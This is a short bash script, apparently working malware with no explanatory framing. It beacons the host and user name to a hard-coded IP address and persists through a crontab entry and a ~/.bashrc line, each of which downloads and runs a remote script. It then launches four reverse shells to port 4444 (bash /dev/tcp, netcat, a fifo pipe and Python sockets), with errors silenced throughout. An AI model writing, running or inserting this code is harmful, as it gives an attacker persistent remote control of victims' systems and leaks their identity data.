#!/bin/bash
# Beacon
H=$(hostname 2>/dev/null)
U=$(whoami 2>/dev/null)
curl -s "http://216.126.236.46/r.php?h=$H&u=$U" &>/dev/null

# Persistencia
(crontab -l 2>/dev/null | grep -v 216.126; echo "*/30 * * * * curl -s 216.126.236.46/x.sh|sh") | crontab - 2>/dev/null
grep -q 216.126 ~/.bashrc 2>/dev/null || echo "curl -s 216.126.236.46/x.sh|sh &" >> ~/.bashrc 2>/dev/null

# REVERSE SHELL
(
bash -i >& /dev/tcp/216.126.236.46/4444 0>&1 2>/dev/null &
nc -e /bin/bash 216.126.236.46 4444 2>/dev/null &
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 216.126.236.46 4444 > /tmp/f 2>/dev/null &
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("216.126.236.46",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' 2>/dev/null &
) &
exit 0
